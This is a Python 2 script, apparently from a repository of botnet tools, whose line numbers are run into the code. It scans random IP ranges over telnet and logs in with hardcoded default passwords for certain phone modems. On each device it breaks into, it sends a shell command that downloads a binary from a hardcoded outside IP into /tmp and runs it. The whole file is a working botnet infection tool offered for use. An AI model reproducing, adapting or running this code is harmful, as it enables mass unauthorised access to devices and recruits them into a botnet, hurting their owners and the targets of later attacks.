Path: blob/master/Botnets/Exploits/PHONE SCAN/py_phone_scanner.py
5038 views
#!/usr/bin/python1# Phone Swiper Scanner23import threading, sys, time, random, socket, re, os45if len(sys.argv) < 3:6print "Phone Swiper Scanner\n"7print "Usage: python "+sys.argv[0]+" <threads(1-100+)> <ips(1-1000+)>"8sys.exit()910usernames = ["root", "admin"]11passwords = ["oelinux123", "admin"]12url = "http://103.194.169.245/tftp" # ARM4 Bin13threads = int(sys.argv[1])14ipz = int(sys.argv[2])15Tranges = ["119.150","119.151","119.152","119.153","119.154","119.155","119.156","119.157","119.158","119.159","182.184","182.185","182.186","182.187","182.188","182.189","182.190","182.191"]1617def readUntil(tn, string, timeout=8):18buf = ''19start_time = time.time()20while time.time() - start_time < timeout:21buf += tn.recv(1024)22time.sleep(0.01)23if string in buf: return buf24raise Exception('TIMEOUT!')2526def worker():27try:28print "\033[33mStarting Telnet Thread\033[37m"29while True:30try:31h0h0h0 = h0h0 + 132br2 = random.choice(Tranges)33for x in xrange(h0h0h0):34try:35ip = ''+br2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))36t = telnet(ip)37t.start()38time.sleep(0.009)39except:40pass41time.sleep(2)42except:43print "\033[31mWORKER ERROR\033[37m"44pass45except:46pass4748class telnet(threading.Thread):49def __init__ (self, ip):50threading.Thread.__init__(self)51self.ip = str(ip).rstrip('\n')52def run(self):53try:54tn = socket.socket()55tn.settimeout(8)56tn.connect((self.ip,23))57except Exception:58pass59try:60hoho = ''61hoho += readUntil(tn, ":")62if "mdm9625" in hoho:63r00t = 064username = usernames[1]65password = passwords[1]66tn.send(username + "\n")67if "9615-cdp" in hoho:68r00t = 169username = usernames[0]70password = passwords[0]71tn.send(username + "\n")72except Exception:73pass74try:75hoho = ''76hoho += readUntil(tn, ":")77if "assword" in hoho:78tn.send(password + "\n")79time.sleep(3.5)80except Exception:81pass82try:83mp = ''84mp += tn.recv(1024)85if "#" in mp or "$" in mp or "~" in mp or ">" in mp or "root@" in mp: # !DO NOT CHANGE ANYTHING! #86if r00t: tn.send("cd /tmp; rm -rf phone; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()87if not r00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()88except Exception:89pass9091for g in xrange(threads):92try:93t = threading.Thread(target=worker)94t.start()95time.sleep(0.002)96except:97pass9899